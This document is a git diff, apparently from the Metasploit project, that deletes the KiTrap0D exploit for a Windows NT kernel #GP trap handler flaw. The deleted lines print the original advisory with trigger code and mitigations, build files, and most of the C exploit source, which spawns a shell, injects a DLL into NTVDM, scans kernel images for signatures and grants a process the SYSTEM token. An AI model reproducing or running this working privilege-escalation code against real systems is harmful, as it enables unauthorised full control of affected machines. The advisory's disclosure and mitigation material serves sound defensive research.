diff --git a/data/exploits/kitrap0d/vdmallowed.exe b/data/exploits/kitrap0d/vdmallowed.exe deleted file mode 100644 index 52955aa1e6..0000000000 Binary files a/data/exploits/kitrap0d/vdmallowed.exe and /dev/null differ diff --git a/data/exploits/kitrap0d/vdmexploit.dll b/data/exploits/kitrap0d/vdmexploit.dll deleted file mode 100644 index ef12b44348..0000000000 Binary files a/data/exploits/kitrap0d/vdmexploit.dll and /dev/null differ diff --git a/external/source/kitrap0d/ADVISORY b/external/source/kitrap0d/ADVISORY deleted file mode 100644 index 666cc63626..0000000000 --- a/external/source/kitrap0d/ADVISORY +++ /dev/null @@ -1,248 +0,0 @@ -Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack -------------------------------------------------------------------------- - -In order to support BIOS service routines in legacy 16bit applications, the -Windows NT Kernel supports the concept of BIOS calls in the Virtual-8086 mode -monitor code. These are implemented in two stages, the kernel transitions to -the second stage when the #GP trap handler (nt!KiTrap0D) detects that the -faulting cs:eip matches specific magic values. - -Transitioning to the second stage involves restoring execution context and -call stack (which had been previously saved) from the faulting trap frame once -authenticity has been verified. - -This verification relies on the following incorrect assumptions: - - - Setting up a VDM context requires SeTcbPrivilege. - - ring3 code cannot install arbitrary code segment selectors. - - ring3 code cannot forge a trap frame. - -This is believed to affect every release of the Windows NT kernel, from -Windows NT 3.1 (1993) up to and including Windows 7 (2009). - -Working out the details of the attack is left as an exercise for the reader. - -Just kidding, that was an homage to Derek Soeder :-) - -- Assumption 0: Setting up a VDM context requires SeTcbPrivilege. - -Creating a VDM context requires EPROCESS->Flags.VdmAllowed to be set in order -to access the authenticated system service, NtVdmControl(). VdmAllowed can -only be set using NtSetInformationProcess(), which verifies the caller has -SeTcbPrivilege. If this is true, the caller is very privileged and can -certainly be trusted. - -This restriction can be subverted by requesting the NTVDM subsystem, and then -using CreateRemoteThread() to execute in the context of the subsystem process, -which will already have this flag set. - -- Assumption 1: ring3 code cannot install arbitrary code segment selectors. - -Cpl is usually equal to the two least significant bits of cs and ss, and is -a simple way to calculate the privilege of a task. However, there is an -exception, Virtual-8086 mode. - -Real mode uses a segmented addressing scheme in order to allow 16-bit -addresses to access the 20-bit address space. This is achieved by forming -physical addresses from a calculation like (cs << 4) + (eip & 0xffff). The -same calculation is used to map the segmented real address space onto the -protected linear address space in Virtual-8086 mode. Therefore, I must be -permitted to set cs to any value, and checks for disallowed or privileged -selectors can be bypassed (PsSetLdtEnties will reject any selector where any -of the three lower bits are unset, as is the case with the required cs pair). - -- Assumption 2: ring3 code cannot forge a trap frame. - -Returning to usermode with iret is a complicated operation, the pseudocode for -the iret instruction alone spans several pages of Intel's Software Developers -Manual. The operation occurs in two stages, a pre-commit stage and a -post-commit stage. Using the VdmContext installed using NtVdmControl(), an -invalid context can be created that causes iret to fail pre-commit, thus -forging a trap frame. - -The final requirement involves predicting the address of the second-stage BIOS -call handler. The address is static in Windows 2003, XP and earlier operating -systems, however, Microsoft introduced kernel base randomisation in Windows -Vista. Unfortunately, this potentially useful exploit mitigation is trivial -to defeat locally as unprivileged users can simply query the loaded module list -via NtQuerySystemInformation(). - --------------------- -Affected Software ------------------------- - -All 32bit x86 versions of Windows NT released since 27-Jul-1993 are believed to -be affected, including but not limited to the following actively supported -versions: - - - Windows 2000 - - Windows XP - - Windows Server 2003 - - Windows Vista - - Windows Server 2008 - - Windows 7 - --------------------- -Consequences ------------------------ - -Upon successful exploitation, the kernel stack is switched to an attacker -specified address. - -An attacker would trigger the vulnerability by setting up a specially -formed VDM_TIB in their TEB, using a code sequence like this: - -/* ... */ - // Magic CS required for exploitation - Tib.VdmContext.SegCs = 0x0B; - // Pointer to fake kernel stack - Tib.VdmContext.Esi = &KernelStack; - // Magic IP required for exploitation - Tib.VdmContext.Eip = Ki386BiosCallReturnAddress; - - NtCurrentTeb()->Reserved4[0] = &Tib; -/* ... */ - -Followed by - -/* ... */ - NtVdmControl(VdmStartExecution, NULL); -/* ... */ - -Which will reach the following code sequence via the #GP trap handler, -nt!KiTrap0D. Please note how the stack pointer is restored from the saved -(untrusted) trap frame at 43C3E6, undoubtedly resulting in the condition -described above. - -/* ... */ -.text:0043C3CE Ki386BiosCallReturnAddress proc near -.text:0043C3CE mov eax, large fs:KPCR.SelfPcr -.text:0043C3D4 mov edi, [ebp+KTRAP_FRAME.Esi] -.text:0043C3D7 mov edi, [edi] -.text:0043C3D9 mov esi, [eax+KPCR.NtTib.StackBase] -.text:0043C3DC mov ecx, 84h -.text:0043C3E1 mov [eax+KPCR.NtTib.StackBase], edi -.text:0043C3E4 rep movsd -.text:0043C3E6 mov esp, [ebp+KTRAP_FRAME.Esi] -.text:0043C3E9 add esp, 4 -.text:0043C3EC mov ecx, [eax+KPCR.PrcbData.CurrentThread] -.text:0043C3F2 mov [ecx+KTHREAD.InitialStack], edi -.text:0043C3F5 mov eax, [eax+KPCR.TSS] -.text:0043C3F8 sub edi, 220h -.text:0043C3FE mov [eax+KTSS.Esp0], edi -.text:0043C401 pop edx -.text:0043C402 mov [ecx+KTHREAD.Teb], edx -.text:0043C405 pop edx -.text:0043C406 mov large fs:KPCR.NtTib.Self, edx -.text:0043C40D mov ebx, large fs:KPCR.GDT -.text:0043C414 mov [ebx+3Ah], dx -.text:0043C418 shr edx, 10h -.text:0043C41B mov byte ptr [ebx+3Ch], dl -.text:0043C41E mov [ebx+3Fh], dh -.text:0043C421 sti -.text:0043C422 pop edi -.text:0043C423 pop esi -.text:0043C424 pop ebx -.text:0043C425 pop ebp -.text:0043C426 retn 4 -/* ... */ - -Possibly naive example code for triggering this condition is availble from the -link below. - -http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip - -The code has been tested on Windows XP, Windows Server 2003/2008, Windows Vista -and Windows 7. Support for other affected operating systems is left as an -exercise for the interested reader. - -------------------- -Mitigation ------------------------ - -If you believe you may be affected, you should consider applying the workaround -described below. - -Temporarily disabling the MSDOS and WOWEXEC subsystems will prevent the attack -from functioning, as without a process with VdmAllowed, it is not possible to -access NtVdmControl() (without SeTcbPrivilege, of course). - -The policy template "Windows Components\Application Compatibility\Prevent -access to 16-bit applications" may be used within the group policy editor to -prevent unprivileged users from executing 16-bit applications. I'm informed -this is an officially supported machine configuration. - -Administrators unfamiliar with group policy may find the videos below instructive. - -To watch a demonstration of this policy being applied to a Windows Server 2003 -domain controller, see the link below. - -http://www.youtube.com/watch?v=XRVI4iQ2Nug - -To watch a demonstration of this policy being applied to a Windows Server 2008 -domain controller, see the link below. - -http://www.youtube.com/watch?v=u8pfXW7crEQ - -To watch a demonstration of this policy being applied to an unjoined Windows XP -Professional machine, see the link below. - -http://www.youtube.com/watch?v=u7Y6d-BVwxk - -On Windows NT4, the following knowledgebase article explains how to disable the -NTVDM and WOWEXEC subsystems. - -http://support.microsoft.com/kb/220159 - -Applying these configuration changes will temporarily prevent users from -accessing legacy 16-bit MS-DOS and Windows 3.1 applications, however, few users -require this functionality. - -If you do not require this feature and depend on NT security, consider -permanently disabling it in order to reduce kernel attack surface. - -------------------- -Solution ------------------------ - -Microsoft was informed about this vulnerability on 12-Jun-2009, and they -confirmed receipt of my report on 22-Jun-2009. - -Regrettably, no official patch is currently available. As an effective and easy -to deploy workaround is available, I have concluded that it is in the best -interest of users to go ahead with the publication of this document without an -official patch. It should be noted that very few users rely on NT security, the -primary audience of this advisory is expected to be domain administrators and -security professionals. - -Please note, Microsoft typically do not credit researchers who do not wait for -permission to publish their research, and therefore I am unlikely to be -referenced in their forthcoming update. - -------------------- -Credit ------------------------ - -This bug was discovered by Tavis Ormandy. - -------------------- -Greetz ------------------------ - -Greetz to Julien, Neel, Redpig, Lcamtuf, Spoonm, Skylined, asiraP, LiquidK, -ScaryBeasts, spender and all my other elite colleagues. - -Check out some photography while at ring0 @ http://flickr.com/meder. - -------------------- -References ------------------------ - -Derek Soeder has previously reported some legendary NT bugs, including multiple -vdm bugs that, while unrelated to this issue, make fascinating reading. - -- http://seclists.org/fulldisclosure/2004/Oct/404, Windows VDM #UD LocalPrivilege Escalation -- http://seclists.org/fulldisclosure/2004/Apr/477, Windows VDM TIB Local Privilege Escalation -- http://seclists.org/fulldisclosure/2007/Apr/357, Zero Page Race Condition Privilege Escalation - - diff --git a/external/source/kitrap0d/Makefile b/external/source/kitrap0d/Makefile deleted file mode 100644 index f20b599974..0000000000 --- a/external/source/kitrap0d/Makefile +++ /dev/null @@ -1,16 +0,0 @@ -# Makefile for KiTrap0d->NtVdmControl() exploit. -# - Tavis Ormandy - -CFLAGS=/Zi /Zp /Od /TC /nologo - -all: vdmallowed.exe vdmexploit.dll - -clean: - rm -f *.obj *.exe *.dll *.pdb *.ilk *.exp *.lib - -vdmallowed.exe: vdmallowed.obj - cl /Fe$(@F) $(**) - -vdmexploit.dll: vdmexploit.obj - cl /Fe$(@F) /LD $(**) - diff --git a/external/source/kitrap0d/README b/external/source/kitrap0d/README deleted file mode 100644 index 7d204b9bb7..0000000000 --- a/external/source/kitrap0d/README +++ /dev/null @@ -1,14 +0,0 @@ - --------------------------------------------------- -Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit --------------------------------------------- taviso@sdf.lonestar.org --- - -Tavis Ormandy, June 2009. - -Please see ADVISORY for discussion of the vulnerability itself. - -INSTRUCTIONS - -Use nmake[1] from visual c++ to build the exploit driver and payload. - -[1] NMAKE Reference, http://msdn.microsoft.com/en-us/library/dd9y37ha.aspx diff --git a/external/source/kitrap0d/vdmallowed.c b/external/source/kitrap0d/vdmallowed.c deleted file mode 100644 index a7de14f406..0000000000 --- a/external/source/kitrap0d/vdmallowed.c +++ /dev/null @@ -1,507 +0,0 @@ -// -// -------------------------------------------------- -// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit -// -------------------------------------------- taviso@sdf.lonestar.org --- -// -// Tavis Ormandy, June 2009. -// -// INTRODUCTION -// -// I'm not usually interested in Windows exploits (I'm a UNIX guy), but this -// bug was so unusual I felt it deserved some special attention :-) -// -// I believe every single release of Windows NT since version 3.1 (1993) up to -// and including Windows 7 (2009) contain this error. -// -// KNOWN BUGS -// -// * If KernelGetProcByName() ever fails, I'm probably in trouble. -// * I hardcode several paths instead of expanding %SYSTEMROOT%. -// * I probably need to VirtualLock() some stuff. -// * I suspect this is unreliable on mp kernels. -// -// INSTRUCTIONS -// -// C:\> nmake -// C:\> vdmallowed.exe -// -// WORKAROUND -// -// Disabling the MSDOS and WOWEXEC subsystems will prevent the exploit -// from functioning. -// -// http://support.microsoft.com/kb/220159 -// -// GREETZ -// -// Julien, Lcamtuf, Spoonm, Neel, Skylined, Redpig, and others. -// - - -// -// This code was slightly tweaked for use in a Meterpreter script, the changes -// allow an unrelated PID to receive the SYSTEM token. Some minor cleanups were -// made as well, mostly around resolving the system32 directory. -// -// Long-term, this will be reimplemented as an additional vector in the priv -// extension. -// -// This code now uses twunk_16.exe instead of debug.exe for compatibility. -// -// - hdm[at]metasploit.com 2010/01/25 -// - - -// Windows 2000 fails to find the VDM_TIB size (something else is wrong) -// Windows 2008 Storage Server has 16-bit applications disabled by default -// Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe - - - -#ifndef WIN32_NO_STATUS -# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h -#endif -#include -#include -#include -#include -#include -#include -#include -#include -#ifdef WIN32_NO_STATUS -# undef WIN32_NO_STATUS -#endif -#include - -#pragma comment(lib, "advapi32") - -#define PAGE_SIZE 0x1000 - -enum { SystemModuleInformation = 11 }; - -typedef struct { - ULONG Unknown1; - ULONG Unknown2; - PVOID Base; - ULONG Size; - ULONG Flags; - USHORT Index; - USHORT NameLength; - USHORT LoadCount; - USHORT PathLength; - CHAR ImageName[256]; -} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; - -typedef struct { - ULONG Count; - SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; -} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; - -typedef struct CodeSignature { - UCHAR Signature[16]; - DWORD Version; -}; - - -// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q' -struct CodeSignature CodeSignatures[] = { - { "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4 - { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000 - { "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server - { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP - { "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003 - { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET - { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista - { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008 - { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7 - { "", -1 } -}; - -// Log levels. -typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; - -BOOL PrepareProcessForSystemToken(PCHAR Application, PDWORD ProcessId); -BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR Application, PHANDLE ProcessHandle); -BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread); -BOOL LogMessage(LEVEL Level, PCHAR Format, ...); -BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase); - -int main(int argc, char **argv) -{ - HANDLE VdmHandle; - HANDLE RemoteThread; - DWORD ShellPid = 0; - DWORD KillPid = 0; - DWORD ThreadCode; - DWORD KernelBase; - TCHAR VDMPath[_MAX_PATH]; - TCHAR CMDPath[_MAX_PATH]; - CHAR Buf[32]; - DWORD Offset; - - if(argc > 1) - ShellPid = atoi(argv[1]); - - LogMessage(L_INFO, - "\r" - "--------------------------------------------------\n" - "Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n" - "-------------------------------------------- taviso@sdf.lonestar.org ---\n" - "\n" - ); - - GetWindowsDirectory(VDMPath, _MAX_PATH); - _tcscat_s(VDMPath, _MAX_PATH, _T("\\twunk_16.exe")); - - if (GetFileAttributes(VDMPath) == INVALID_FILE_ATTRIBUTES) { - GetSystemDirectory(VDMPath, _MAX_PATH); - _tcscat_s(VDMPath, _MAX_PATH, _T("\\debug.exe")); - - if (GetFileAttributes(VDMPath) == INVALID_FILE_ATTRIBUTES) { - LogMessage(L_INFO, "Could not find twunk_16.exe or debug.exe"); - return(0); - } - } - - GetSystemDirectory(CMDPath, _MAX_PATH); - _tcscat_s(CMDPath, _MAX_PATH, _T("\\cmd.exe")); - - if(! ShellPid) { - // Spawn the process to be elevated to SYSTEM. - LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)"); - - if (PrepareProcessForSystemToken(CMDPath, &ShellPid) != TRUE) { - LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure"); - goto finished; - } - } - - // Scan kernel image for the required code sequence, and find the base address. - if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) { - LogMessage(L_ERROR, "ScanForCodeSignature() returned failure"); - goto finished; - } - - // Pass the parameters required by exploit thread to NTVDM. - SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf)); - SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf)); - SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf)); - - // Invoke the NTVDM subsystem, by launching any MS-DOS executable. - LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable"); - - if (SpawnNTVDMAndGetUsefulAccess(VDMPath, &VdmHandle) == FALSE) { - LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure"); - goto finished; - } - - // Start the exploit thread in the NTVDM process. - LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle); - - if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, &RemoteThread) == FALSE) { - LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure"); - goto finished; - } - - - // Wait for the thread to complete - LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread); - - WaitForSingleObject(RemoteThread, INFINITE); - - - // I pass some information back via the exit code to indicate what happened. - GetExitCodeThread(RemoteThread, &ThreadCode); - - LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode); - - switch (ThreadCode) { - case 'VTIB': - // A data structure supplied to the kernel called VDM_TIB has to have a `size` field that - // matches what the kernel expects. - // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison. - LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure"); - break; - case 'NTAV': - // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl() - // expects to be present. - // The exploit thread reports it didn't work. - LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space"); - break; - case 'VDMC': - // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed. - // It's entirely undocumented, so you'll have to use kd to step through it and find out why - // it's failing. - LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed"); - break; - case 'LPID': - // This exploit will try to transplant the token from PsInitialSystemProcess on to an - // unprivileged process owned by you. - // PsLookupProcessByProcessId() failed when trying to find your process. - LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed"); - break; - case FALSE: - // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found? - // Verify the vdmexploit.dll file exists, is readable and is in a suitable location. - LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll"); - break; - case 'w00t': - // This means the exploit payload was executed at ring0 and succeeded. - LogMessage(L_INFO, "The exploit thread reports exploitation was successful"); - if(! KillPid) - LogMessage(L_INFO, "w00t! You can now use the shell opened earlier"); - break; - default: - // Unknown error. Sorry, you're on your own. - LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode); - break; - } - - TerminateProcess(VdmHandle, 0); - CloseHandle(VdmHandle); - CloseHandle(RemoteThread); - - if(KillPid) { - LogMessage(L_INFO, "Killing the temporary process handle with pid %d", KillPid); - VdmHandle = OpenProcess( PROCESS_TERMINATE, FALSE, KillPid ); - if(VdmHandle && VdmHandle != INVALID_HANDLE_VALUE) { - TerminateProcess(VdmHandle, 0); - } - } - -finished: - return 0; -} - -// Start a process to give SYSTEM token to. -static BOOL PrepareProcessForSystemToken(PCHAR App, PDWORD ProcessId) -{ - PROCESS_INFORMATION pi; - STARTUPINFO si; - - ZeroMemory(&pi, sizeof(pi)); - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); - - if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) { - LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError()); - return FALSE; - } - - LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId); - - *ProcessId = pi.dwProcessId; - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return TRUE; -} - -// Grab a useful Handle to NTVDM. -static BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR App, PHANDLE ProcessHandle) -{ - PROCESS_INFORMATION pi = {0}; - STARTUPINFO si = { sizeof si }; - ULONG i; - - // Start the child process, which should invoke NTVDM. - if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) { - LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError()); - return FALSE; - } - - LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId); - - // Get more access - if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD - | PROCESS_QUERY_INFORMATION - | PROCESS_VM_OPERATION - | PROCESS_VM_WRITE - | PROCESS_VM_READ - | PROCESS_TERMINATE, - FALSE, - pi.dwProcessId)) == NULL) { - LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError()); - TerminateProcess(pi.hProcess, 'SPWN'); - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return FALSE; - } - - LogMessage(L_DEBUG, "OpenProcess(%u) => %#x", pi.dwProcessId, *ProcessHandle); - - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return TRUE; -} - -// Use the DLL Injection technique to access the NTVDM process. -// http://en.wikipedia.org/wiki/DLL_injection -static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread) -{ - PVOID RemotePage; - LPTHREAD_START_ROUTINE StartRoutine; - - assert(ProcessHandle != INVALID_HANDLE_VALUE); - assert(DllPath); - assert(RemoteThread); - - // Allocate a page in the child process - if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) { - LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError()); - return FALSE; - } - - // Write in the name of my DLL (note, memory is already zeroed) - if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) { - LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError()); - return FALSE; - } - - LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);", - ProcessHandle, - RemotePage, - DllPath, - strlen(DllPath)); - - // Execute it in child process, loading the specified library - *RemoteThread = CreateRemoteThread(ProcessHandle, - NULL, - 0, - (LPTHREAD_START_ROUTINE) - GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"), - RemotePage, - 0, - NULL); - CloseHandle(ProcessHandle); - - return *RemoteThread != NULL; -} - -// Scan the appropriate kernel image for the correct offset -BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase) -{ - FARPROC NtQuerySystemInformation; - HMODULE KernelHandle; - PIMAGE_DOS_HEADER DosHeader; - PIMAGE_NT_HEADERS PeHeader; - PIMAGE_OPTIONAL_HEADER OptHeader; - OSVERSIONINFO osvi = { sizeof osvi }; - PBYTE ImageBase; - DWORD PhysicalAddressExtensions, DataSize; - ULONG i,x; - HKEY MmHandle; - SYSTEM_MODULE_INFORMATION ModuleInfo = {0}; - - // List of versions I have code signatures for. - enum { - MICROSOFT_WINDOWS_NT4 = 0, - MICROSOFT_WINDOWS_2000 = 1, - MICROSOFT_WINDOWS_XP = 2, - MICROSOFT_WINDOWS_2003 = 3, - MICROSOFT_WINDOWS_VISTA = 4, - MICROSOFT_WINDOWS_2008 = 5, - MICROSOFT_WINDOWS_7 = 6, - } Version = MICROSOFT_WINDOWS_7; - - // NtQuerySystemInformation can be used to find kernel base address - NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation"); - - // Determine kernel version so that the correct code signature is used - GetVersionEx(&osvi); - - LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion); - - if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0) - Version = MICROSOFT_WINDOWS_NT4; - if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0) - Version = MICROSOFT_WINDOWS_2000; - if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1) - Version = MICROSOFT_WINDOWS_XP; - if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2) - Version = MICROSOFT_WINDOWS_2003; - if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0) - Version = MICROSOFT_WINDOWS_VISTA; - if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0) - Version = MICROSOFT_WINDOWS_2008; - if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1) - Version = MICROSOFT_WINDOWS_7; - - // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address - NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL); - - LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p", - ModuleInfo.Module[0].ImageName, - ModuleInfo.Module[0].Base); - - // Load the kernel image specified - if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) { - LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError()); - return FALSE; - } - - // Parse image headers - *KernelBase = (DWORD) ModuleInfo.Module[0].Base; - ImageBase = (PBYTE) KernelHandle; - DosHeader = (PIMAGE_DOS_HEADER)(ImageBase); - PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew); - OptHeader = &PeHeader->OptionalHeader; - - LogMessage(L_DEBUG, "Searching for kernel %u.%u signature: version %d...", - osvi.dwMajorVersion, - osvi.dwMinorVersion, - Version - ); - - for (x=0;;x++) { - - if(CodeSignatures[x].Version == -1) - break; - - if(CodeSignatures[x].Version != Version) - continue; - - LogMessage(L_INFO, "Trying signature with index %d", x); - - // Scan for the appropriate signature - for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) { - if (memcmp(&ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature) == 0) { - LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i); - - *OffsetFromBase = i; - FreeLibrary(KernelHandle); - return TRUE; - } - } - } - - LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel"); - - FreeLibrary(KernelHandle); - - return FALSE; -} - -// A quick logging routine for debug messages. -BOOL LogMessage(LEVEL Level, PCHAR Format, ...) -{ - CHAR Buffer[1024] = {0}; - va_list Args; - - va_start(Args, Format); - vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args); - va_end(Args); - - switch (Level) { - case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break; - case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break; - case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break; - case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break; - } - - fflush(stdout); - fflush(stderr); - - return TRUE; -} - diff --git a/external/source/kitrap0d/vdmexploit.c b/external/source/kitrap0d/vdmexploit.c deleted file mode 100644 index 71e42b9d68..0000000000 --- a/external/source/kitrap0d/vdmexploit.c +++ /dev/null @@ -1,386 +0,0 @@ -// -// -------------------------------------------------- -// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit -// -------------------------------------------- taviso@sdf.lonestar.org --- -// -// Tavis Ormandy, June 2009. -// -// Tested on: -// $ cmd /c ver -// Microsoft Windows [Version 5.2.3790] -// -// This file contains the exploit payload and VDM Subsystem control routines. -// - -#ifndef WIN32_NO_STATUS -# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h -#endif -#include -#include -#include -#include -#include -#include -#ifdef WIN32_NO_STATUS -# undef WIN32_NO_STATUS -#endif -#include - -// Process to escalate to SYSTEM -static DWORD TargetPid; - -// Pointer to fake kernel stack. -static PDWORD KernelStackPointer; - -#define KernelStackSize 1024 - -// Enforce byte alignment by default -#pragma pack(1) - -// Kernel module handle -static HMODULE KernelHandle; - -// Eflags macros -#define EFLAGS_CF_MASK 0x00000001 // carry flag -#define EFLAGS_PF_MASK 0x00000004 // parity flag -#define EFLAGS_AF_MASK 0x00000010 // auxiliary carry flag -#define EFLAGS_ZF_MASK 0x00000040 // zero flag -#define EFLAGS_SF_MASK 0x00000080 // sign flag -#define EFLAGS_TF_MASK 0x00000100 // trap flag -#define EFLAGS_IF_MASK 0x00000200 // interrupt flag -#define EFLAGS_DF_MASK 0x00000400 // direction flag -#define EFLAGS_OF_MASK 0x00000800 // overflow flag -#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level -#define EFLAGS_NT_MASK 0x00004000 // nested task -#define EFLAGS_RF_MASK 0x00010000 // resume flag -#define EFLAGS_VM_MASK 0x00020000 // virtual 8086 mode -#define EFLAGS_AC_MASK 0x00040000 // alignment check -#define EFLAGS_VIF_MASK 0x00080000 // virtual interrupt flag -#define EFLAGS_VIP_MASK 0x00100000 // virtual interrupt pending -#define EFLAGS_ID_MASK 0x00200000 // identification flag - -#ifndef PAGE_SIZE -# define PAGE_SIZE 0x1000 -#endif - - - -// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h -enum { VdmStartExecution = 0, VdmInitialize = 3 }; - -VOID FirstStage(); -BOOL InitializeVdmSubsystem(); -PVOID KernelGetProcByName(PSTR); -BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL); -BOOL CheckAndReplace(PDWORD, DWORD, DWORD, DWORD); - -DWORD ethreadOffsets[] = { - 0x6, // WinXP SP3, VistaSP2 - 0xA // Windows 7, VistaSP1 -}; - -// This routine is where I land after successfully triggering the vulnerability. 